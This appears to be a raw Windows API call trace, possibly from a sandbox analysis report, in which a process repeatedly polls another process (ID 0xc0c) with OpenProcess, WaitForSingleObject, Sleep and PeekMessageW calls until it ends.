1 [0308.659] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.659] Sleep (dwMilliseconds=0x1) [0308.674] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.674] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.690] CloseHandle (hObject=0x3f8c) returned 1 [0308.690] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.690] Sleep (dwMilliseconds=0x1) [0308.705] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.705] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.721] CloseHandle (hObject=0x3f8c) returned 1 [0308.721] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.721] Sleep (dwMilliseconds=0x1) [0308.736] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.737] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.753] CloseHandle (hObject=0x3f8c) returned 1 [0308.754] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.754] Sleep (dwMilliseconds=0x1) [0308.768] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.768] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.783] CloseHandle (hObject=0x3f8c) returned 1 [0308.784] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.784] Sleep (dwMilliseconds=0x1) [0308.799] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.799] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.815] CloseHandle (hObject=0x3f8c) returned 1 [0308.815] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.815] Sleep (dwMilliseconds=0x1) [0308.830] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.830] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.846] CloseHandle (hObject=0x3f8c) returned 1 [0308.846] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.846] Sleep (dwMilliseconds=0x1) [0308.861] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.862] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.877] CloseHandle (hObject=0x3f8c) returned 1 [0308.877] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.877] Sleep (dwMilliseconds=0x1) [0308.893] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.893] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.921] CloseHandle (hObject=0x3f8c) returned 1 [0308.921] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.921] Sleep (dwMilliseconds=0x1) [0308.924] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.924] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.940] CloseHandle (hObject=0x3f8c) returned 1 [0308.940] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.940] Sleep (dwMilliseconds=0x1) [0308.955] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.955] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.971] CloseHandle (hObject=0x3f8c) returned 1 [0308.971] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.971] Sleep (dwMilliseconds=0x1) [0308.987] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.987] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.002] CloseHandle (hObject=0x3f8c) returned 1 [0309.002] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.002] Sleep (dwMilliseconds=0x1) [0309.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0309.018] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.033] CloseHandle (hObject=0x3f8c) returned 1 [0309.033] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.033] Sleep (dwMilliseconds=0x1) [0309.055] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0309.055] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.065] CloseHandle (hObject=0x3f8c) returned 1 [0309.065] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.065] Sleep (dwMilliseconds=0x1) [0309.080] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0309.080] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.096] CloseHandle (hObject=0x3f8c) returned 1 [0309.096] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.096] Sleep (dwMilliseconds=0x1) [0309.111] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0309.111] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.127] CloseHandle (hObject=0x3f8c) returned 1 [0309.127] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.127] Sleep (dwMilliseconds=0x1) [0309.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0309.143] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.158] CloseHandle (hObject=0x3f8c) returned 1 [0309.158] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.158] Sleep (dwMilliseconds=0x1) [0309.179] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0309.179] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.192] CloseHandle (hObject=0x3f8c) returned 1 [0309.193] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.193] Sleep (dwMilliseconds=0x1) [0309.207] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0309.207] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0309.224] CloseHandle (hObject=0x3f8c) returned 1 [0309.224] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.224] Sleep (dwMilliseconds=0x1) [0309.236] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3fb0 [0309.236] WaitForSingleObject (hHandle=0x3fb0, dwMilliseconds=0xa) returned 0x102 [0309.252] CloseHandle (hObject=0x3fb0) returned 1 [0309.252] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.252] Sleep (dwMilliseconds=0x1) [0309.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3fb0 [0309.268] WaitForSingleObject (hHandle=0x3fb0, dwMilliseconds=0xa) returned 0x102 [0309.284] CloseHandle (hObject=0x3fb0) returned 1 [0309.284] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.284] Sleep (dwMilliseconds=0x1) [0309.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3fc0 [0309.299] WaitForSingleObject (hHandle=0x3fc0, dwMilliseconds=0xa) returned 0x102 [0309.315] CloseHandle (hObject=0x3fc0) returned 1 [0309.315] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.315] Sleep (dwMilliseconds=0x1) [0309.330] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3fc0 [0309.330] WaitForSingleObject (hHandle=0x3fc0, dwMilliseconds=0xa) returned 0x102 [0309.346] CloseHandle (hObject=0x3fc0) returned 1 [0309.346] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.346] Sleep (dwMilliseconds=0x1) [0309.364] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3fe0 [0309.364] WaitForSingleObject (hHandle=0x3fe0, dwMilliseconds=0xa) returned 0x102 [0309.377] CloseHandle (hObject=0x3fe0) returned 1 [0309.377] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.377] Sleep (dwMilliseconds=0x1) [0309.393] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4038 [0309.393] WaitForSingleObject (hHandle=0x4038, dwMilliseconds=0xa) returned 0x102 [0309.418] CloseHandle (hObject=0x4038) returned 1 [0309.418] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.418] Sleep (dwMilliseconds=0x1) [0309.426] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4064 [0309.426] WaitForSingleObject (hHandle=0x4064, dwMilliseconds=0xa) returned 0x102 [0309.512] CloseHandle (hObject=0x4064) returned 1 [0309.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.512] Sleep (dwMilliseconds=0x1) [0309.518] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4064 [0309.518] WaitForSingleObject (hHandle=0x4064, dwMilliseconds=0xa) returned 0x102 [0309.533] CloseHandle (hObject=0x4064) returned 1 [0309.533] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.533] Sleep (dwMilliseconds=0x1) [0309.549] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4064 [0309.549] WaitForSingleObject (hHandle=0x4064, dwMilliseconds=0xa) returned 0x102 [0309.565] CloseHandle (hObject=0x4064) returned 1 [0309.565] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.565] Sleep (dwMilliseconds=0x1) [0309.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x40c0 [0309.606] WaitForSingleObject (hHandle=0x40c0, dwMilliseconds=0xa) returned 0x102 [0309.654] CloseHandle (hObject=0x40c0) returned 1 [0309.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.654] Sleep (dwMilliseconds=0x1) [0309.694] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x40e8 [0309.694] WaitForSingleObject (hHandle=0x40e8, dwMilliseconds=0xa) returned 0x102 [0309.709] CloseHandle (hObject=0x40e8) returned 1 [0309.709] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.709] Sleep (dwMilliseconds=0x1) [0309.717] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x40f8 [0309.717] WaitForSingleObject (hHandle=0x40f8, dwMilliseconds=0xa) returned 0x102 [0309.732] CloseHandle (hObject=0x40f8) returned 1 [0309.732] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.733] Sleep (dwMilliseconds=0x1) [0309.750] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x411c [0309.750] WaitForSingleObject (hHandle=0x411c, dwMilliseconds=0xa) returned 0x102 [0309.764] CloseHandle (hObject=0x411c) returned 1 [0309.764] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.764] Sleep (dwMilliseconds=0x1) [0309.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x411c [0309.777] WaitForSingleObject (hHandle=0x411c, dwMilliseconds=0xa) returned 0x102 [0309.798] CloseHandle (hObject=0x411c) returned 1 [0309.798] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.798] Sleep (dwMilliseconds=0x1) [0309.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4150 [0309.809] WaitForSingleObject (hHandle=0x4150, dwMilliseconds=0xa) returned 0x102 [0309.827] CloseHandle (hObject=0x4150) returned 1 [0309.827] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.827] Sleep (dwMilliseconds=0x1) [0309.840] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4150 [0309.840] WaitForSingleObject (hHandle=0x4150, dwMilliseconds=0xa) returned 0x102 [0309.856] CloseHandle (hObject=0x4150) returned 1 [0309.856] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.856] Sleep (dwMilliseconds=0x1) [0309.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4150 [0309.871] WaitForSingleObject (hHandle=0x4150, dwMilliseconds=0xa) returned 0x102 [0309.887] CloseHandle (hObject=0x4150) returned 1 [0309.887] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.887] Sleep (dwMilliseconds=0x1) [0309.922] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4180 [0309.922] WaitForSingleObject (hHandle=0x4180, dwMilliseconds=0xa) returned 0x102 [0309.934] CloseHandle (hObject=0x4180) returned 1 [0309.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.934] Sleep (dwMilliseconds=0x1) [0309.949] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4180 [0309.949] WaitForSingleObject (hHandle=0x4180, dwMilliseconds=0xa) returned 0x102 [0309.965] CloseHandle (hObject=0x4180) returned 1 [0309.965] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0309.965] Sleep (dwMilliseconds=0x1) [0309.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4180 [0309.981] WaitForSingleObject (hHandle=0x4180, dwMilliseconds=0xa) returned 0x102 [0310.002] CloseHandle (hObject=0x4180) returned 1 [0310.002] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.002] Sleep (dwMilliseconds=0x1) [0310.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4414 [0310.023] WaitForSingleObject (hHandle=0x4414, dwMilliseconds=0xa) returned 0x102 [0310.068] CloseHandle (hObject=0x4414) returned 1 [0310.068] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.068] Sleep (dwMilliseconds=0x1) [0310.083] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4734 [0310.084] WaitForSingleObject (hHandle=0x4734, dwMilliseconds=0xa) returned 0x102 [0310.094] CloseHandle (hObject=0x4734) returned 1 [0310.095] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.095] Sleep (dwMilliseconds=0x1) [0310.163] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x47f4 [0310.163] WaitForSingleObject (hHandle=0x47f4, dwMilliseconds=0xa) returned 0x102 [0310.168] CloseHandle (hObject=0x47f4) returned 1 [0310.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.168] Sleep (dwMilliseconds=0x1) [0310.265] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x47f8 [0310.265] WaitForSingleObject (hHandle=0x47f8, dwMilliseconds=0xa) returned 0x102 [0310.280] CloseHandle (hObject=0x47f8) returned 1 [0310.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.280] Sleep (dwMilliseconds=0x1) [0310.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x47f8 [0310.294] WaitForSingleObject (hHandle=0x47f8, dwMilliseconds=0xa) returned 0x102 [0310.309] CloseHandle (hObject=0x47f8) returned 1 [0310.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.309] Sleep (dwMilliseconds=0x1) [0310.324] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x47f8 [0310.324] WaitForSingleObject (hHandle=0x47f8, dwMilliseconds=0xa) returned 0x102 [0310.340] CloseHandle (hObject=0x47f8) returned 1 [0310.340] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.340] Sleep (dwMilliseconds=0x1) [0310.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x47f8 [0310.356] WaitForSingleObject (hHandle=0x47f8, dwMilliseconds=0xa) returned 0x102 [0310.371] CloseHandle (hObject=0x47f8) returned 1 [0310.371] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.371] Sleep (dwMilliseconds=0x1) [0310.403] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4818 [0310.403] WaitForSingleObject (hHandle=0x4818, dwMilliseconds=0xa) returned 0x102 [0310.424] CloseHandle (hObject=0x4818) returned 1 [0310.424] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.424] Sleep (dwMilliseconds=0x1) [0310.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4818 [0310.434] WaitForSingleObject (hHandle=0x4818, dwMilliseconds=0xa) returned 0x102 [0310.450] CloseHandle (hObject=0x4818) returned 1 [0310.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.450] Sleep (dwMilliseconds=0x1) [0310.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x484c [0310.466] WaitForSingleObject (hHandle=0x484c, dwMilliseconds=0xa) returned 0x102 [0310.481] CloseHandle (hObject=0x484c) returned 1 [0310.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.481] Sleep (dwMilliseconds=0x1) [0310.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4850 [0310.496] WaitForSingleObject (hHandle=0x4850, dwMilliseconds=0xa) returned 0x102 [0310.512] CloseHandle (hObject=0x4850) returned 1 [0310.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.512] Sleep (dwMilliseconds=0x1) [0310.527] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4850 [0310.527] WaitForSingleObject (hHandle=0x4850, dwMilliseconds=0xa) returned 0x102 [0310.544] CloseHandle (hObject=0x4850) returned 1 [0310.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.544] Sleep (dwMilliseconds=0x1) [0310.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4850 [0310.559] WaitForSingleObject (hHandle=0x4850, dwMilliseconds=0xa) returned 0x102 [0310.574] CloseHandle (hObject=0x4850) returned 1 [0310.575] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.575] Sleep (dwMilliseconds=0x1) [0310.590] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4850 [0310.590] WaitForSingleObject (hHandle=0x4850, dwMilliseconds=0xa) returned 0x102 [0310.606] CloseHandle (hObject=0x4850) returned 1 [0310.606] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.606] Sleep (dwMilliseconds=0x1) [0310.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4868 [0310.621] WaitForSingleObject (hHandle=0x4868, dwMilliseconds=0xa) returned 0x102 [0310.637] CloseHandle (hObject=0x4868) returned 1 [0310.637] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.637] Sleep (dwMilliseconds=0x1) [0310.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4868 [0310.654] WaitForSingleObject (hHandle=0x4868, dwMilliseconds=0xa) returned 0x102 [0310.668] CloseHandle (hObject=0x4868) returned 1 [0310.668] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.668] Sleep (dwMilliseconds=0x1) [0310.687] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4874 [0310.687] WaitForSingleObject (hHandle=0x4874, dwMilliseconds=0xa) returned 0x102 [0310.700] CloseHandle (hObject=0x4874) returned 1 [0310.700] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.700] Sleep (dwMilliseconds=0x1) [0310.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4880 [0310.716] WaitForSingleObject (hHandle=0x4880, dwMilliseconds=0xa) returned 0x102 [0310.731] CloseHandle (hObject=0x4880) returned 1 [0310.731] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.731] Sleep (dwMilliseconds=0x1) [0310.746] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4880 [0310.746] WaitForSingleObject (hHandle=0x4880, dwMilliseconds=0xa) returned 0x102 [0310.770] CloseHandle (hObject=0x4880) returned 1 [0310.770] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.770] Sleep (dwMilliseconds=0x1) [0310.782] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x48b8 [0310.782] WaitForSingleObject (hHandle=0x48b8, dwMilliseconds=0xa) returned 0x102 [0310.794] CloseHandle (hObject=0x48b8) returned 1 